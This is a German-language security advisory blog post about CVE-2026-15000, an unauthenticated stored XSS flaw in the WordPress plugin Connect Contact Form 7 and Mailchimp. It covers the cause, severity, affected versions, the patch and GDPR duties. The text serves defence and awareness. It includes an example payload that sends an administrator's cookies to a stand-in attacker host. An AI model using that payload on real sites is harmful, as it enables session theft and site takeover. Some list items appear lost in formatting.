Veröffentlicht am 09.07.2026
Ein einziges abgeschicktes Kontaktformular kann genügen, um Ihre gesamte WordPress-Website zu übernehmen – und das ganz ohne Login, Passwort oder Vorabzugriff. Genau das ermöglicht eine kürzlich veröffentlichte Sicherheitslücke im weit verbreiteten WordPress-Plugin Connect Contact Form 7 and Mailchimp (auch bekannt als Chimpmatic Lite). Die Schwachstelle trägt die Kennung CVE-2026-15000, wurde mit einem CVSS-Score von 7.2 (HIGH) bewertet und betrifft alle Plugin-Versionen bis einschließlich 0.9.78.06. Wer dieses Plugin einsetzt, sollte jetzt handeln – nicht nächste Woche.
Am 9. Juli 2026 wurde in der National Vulnerability Database (NVD) des US-amerikanischen NIST eine unauthentifizierte Stored-XSS-Schwachstelle im Plugin „Connect Contact Form 7 and Mailchimp" veröffentlicht. Stored XSS (Stored Cross-Site-Scripting) bedeutet, dass ein Angreifer schädlichen JavaScript-Code dauerhaft in der Website-Datenbank ablegen kann – dieser Code wird dann später ausgeführt, sobald eine bestimmte Seite aufgerufen wird.
Das Besondere und Gefährliche an dieser Lücke: Der Angreifer braucht keinerlei Anmeldung. Es genügt, ein öffentlich zugängliches Kontaktformular (erstellt mit dem beliebten Plugin Contact Form 7) auszufüllen und dabei in einem Mailchimp-Feld – etwa Vorname (FNAME), Nachname (LNAME) oder einem benutzerdefinierten Feld – statt eines normalen Namens einen JavaScript-Schadcode einzutragen.
Entdeckt wurde die Schwachstelle am 8. Juli 2026 vom Sicherheitsforscher Kitch (KitchGlobal), der sie über das Bug-Bounty-Programm von Wordfence Intelligence meldete. Wordfence beschreibt die Lücke so:
„The Connect Contact Form 7 and Mailchimp plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Mailchimp Merge Field Values in all versions up to, and including, 0.9.78.06 due to insufficient input sanitization and output escaping. […] The injected payload is only triggered when a privileged user (Administrator) performs a Contact Lookup for the email address submitted via the CF7 form, meaning execution is deferred until an administrator interacts with the affected entry." – Wordfence Intelligence
Die Ursache der Schwachstelle liegt in zwei klassischen Programmierfehlern, zusammengefasst unter der Kennung CWE-79. Zum einen fehlt eine ausreichende Eingabebereinigung (Input Sanitization) – das Plugin prüft nicht, ob in einem Namensfeld tatsächlich ein Name oder aber gefährlicher Programmcode steht. Zum anderen fehlt die korrekte Ausgabe-Escapierung (Output Escaping) – der gespeicherte Inhalt wird im Backend als aktiver Code dargestellt, statt als harmloser Text.
Der Angriff läuft in zwei Stufen ab:
<img src=x onerror=fetch("https://attacker.com/"+document.cookie)>. Das Plugin speichert diesen Wert ungefiltert in der Datenbank.Diese verzögerte Ausführung (deferred execution) macht die Lücke besonders tückisch: Der Angriff bleibt zunächst unsichtbar und schlägt erst zu, wenn der Administrator arbeitet. Ist der Code einmal im Admin-Browser aktiv, kann ein Angreifer damit:
Der CVSS-Vektor CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N bestätigt die Gefährlichkeit: Angriff über das Netzwerk möglich, geringe Komplexität, keine Rechte erforderlich, keine Interaktion des Angreifers nötig – und eine sogenannte Scope-Änderung, weil der Browser des Admins kompromittiert wird.
Betroffen sind alle Websites, die das Plugin Connect Contact Form 7 and Mailchimp in einer Version bis einschließlich 0.9.78.06 einsetzen. Das Plugin verbindet das populäre Kontaktformular-Plugin Contact Form 7 mit dem Newsletter-Dienst Mailchimp und wird typischerweise für Newsletter-Anmeldungen und Kontaktformulare genutzt.
Laut Wordfence Intelligence hat das Plugin rund 40.000 aktive Installationen weltweit und wurde über 10 Millionen Mal heruntergeladen. Deutschland ist mit etwa 1,92 Millionen WordPress-Websites der zweitgrößte WordPress-Markt der Welt – daher ist von mehreren hundert bis tausend betroffenen deutschen Installationen auszugehen.
Zum Zeitpunkt der CVE-Veröffentlichung am 9. Juli 2026 liegen keine Hinweise auf aktive Ausnutzung vor, und die Lücke ist nicht im CISA Known Exploited Vulnerabilities Catalog gelistet. Das ist jedoch kein Grund zur Entwarnung: Laut Patchstack liegt die mediane Zeit bis zur ersten Massenausnutzung hochgefährlicher WordPress-Schwachstellen bei nur 5 Stunden.
/wp-content/plugins/contact-form-7-mailchimp-extension/readme.txt und prüfen den Eintrag Stable tag:.SELECT * FROM wp_options WHERE option_name LIKE '%cmatic%' AND option_value LIKE '%<script%'.Die gute Nachricht: Ein Patch steht bereit. Version 0.9.78.07 wurde bereits am 7. Juli 2026 auf WordPress.org veröffentlicht – also sogar vor der offiziellen CVE-Bekanntmachung. Das ist erfreulich untypisch, denn laut Patchstack hatten 2026 rund 46 % aller WordPress-Schwachstellen zum Zeitpunkt der Bekanntmachung noch keinen Patch.
Diese Schwachstelle ist kein theoretisches Konstrukt. Das Fastly Security Research Team dokumentierte bereits im Mai 2024 aktive Angriffe auf vergleichbare unauthentifizierte Stored-XSS-Lücken in WordPress-Plugins:
„We have observed active exploitation attempts targeting [unauthenticated stored XSS vulnerabilities in WordPress plugins]. The attack payloads inject a script tag that points to an obfuscated JavaScript file hosted on an external domain. The script focuses on: Creating a new administrator account, Injecting backdoors, Setting up tracking scripts." – Fastly Security Research Team
Die Zahlen unterstreichen die Dringlichkeit: Im Jahr 2025 wurden 11.334 neue Schwachstellen im WordPress-Ökosystem entdeckt – ein Anstieg von 42 % gegenüber dem Vorjahr. 91 % dieser Lücken befinden sich in Plugins, und XSS ist mit 34,7 % der häufigste Schwachstellentyp. Erschreckend: 57,6 % aller WordPress-Schwachstellen lassen sich ohne jede Authentifizierung ausnutzen – genau wie CVE-2026-15000.
Sherlock Forensics ordnet die Bedeutung für kleinere Unternehmen treffend ein:
„A CVSS score of 7.2 means this vulnerability is straightforward to exploit, likely to cause significant damage or both. For startups and small companies operating without a dedicated security team, vulnerabilities at this severity level represent real operational risk rather than theoretical concern." – Sherlock Forensics
Für Website-Betreiber in Deutschland hat diese Schwachstelle erhebliche datenschutzrechtliche Relevanz. Wird die Lücke ausgenutzt, kann ein Angreifer über die Übernahme des Administrator-Kontos Zugriff auf sämtliche im Backend gespeicherten personenbezogenen Daten erlangen – Kontaktformular-Einsendungen, E-Mail-Adressen, Namen und weitere Besucherdaten. Das gilt als „Verletzung des Schutzes personenbezogener Daten" im Sinne von Art. 4 Nr. 12 DSGVO.
Meldepflicht (Art. 33 DSGVO): Wurde die Lücke ausgenutzt und sind personenbezogene Daten kompromittiert, müssen Sie dies unverzüglich und möglichst binnen 72 Stunden der zuständigen Datenschutzbehörde melden (je nach Bundesland z.B. dem BayLDA, dem LfDI Baden-Württemberg oder dem BfDI).
Betroffenenbenachrichtigung (Art. 34 DSGVO): Bei hohem Risiko für die Rechte und Freiheiten der Betroffenen müssen zusätzlich die betroffenen Personen selbst informiert werden.
Technische und organisatorische Maßnahmen (Art. 32 DSGVO): Der Betrieb eines veralteten, ungepatchten Plugins kann selbst dann als Verstoß gewertet werden, wenn keine nachweisliche Ausnutzung stattgefunden hat. Europäische Datenschutzbehörden sanktionieren seit 2026 zunehmend strukturelle Sicherheitslücken – nicht nur die daraus resultierenden Vorfälle. Ein niedersächsischer Online-Shop-Betreiber wurde bereits 2021 mit 65.500 Euro Bußgeld belegt, weil er veraltete Web-Shop-Software mit bekannten Sicherheitslücken betrieb. Bei schwerwiegenderen Verstößen drohen laut Art. 83 DSGVO Bußgelder bis zu 20 Millionen Euro oder 4 % des weltweiten Jahresumsatzes.
CVE-2026-15000 ist eine ernstzunehmende Schwachstelle mit einem klaren Angriffspfad: Ein Angreifer schleust ohne Anmeldung über ein Kontaktformular Schadcode ein, der beim nächsten Admin-Login zuschlägt und die vollständige Übernahme der Website ermöglichen kann. Die Kombination aus einfacher Ausnutzbarkeit, fehlender Authentifizierung und potenzieller Administrator-Übernahme macht diese Lücke besonders gefährlich – gerade für KMU ohne eigenes Sicherheitsteam.
Die Lösung ist jedoch ebenso klar und einfach: Aktualisieren Sie das Plugin umgehend auf Version 0.9.78.07 oder höher. Wer den verfügbaren Patch einspielt, reduziert das Risiko praktisch auf null. Wer wartet, setzt nicht nur seine Website, sondern auch die Daten seiner Kunden und sich selbst einem vermeidbaren Haftungsrisiko aus. Angesichts einer medianen Ausnutzungszeit von nur fünf Stunden gilt: Jede Stunde ohne Update zählt.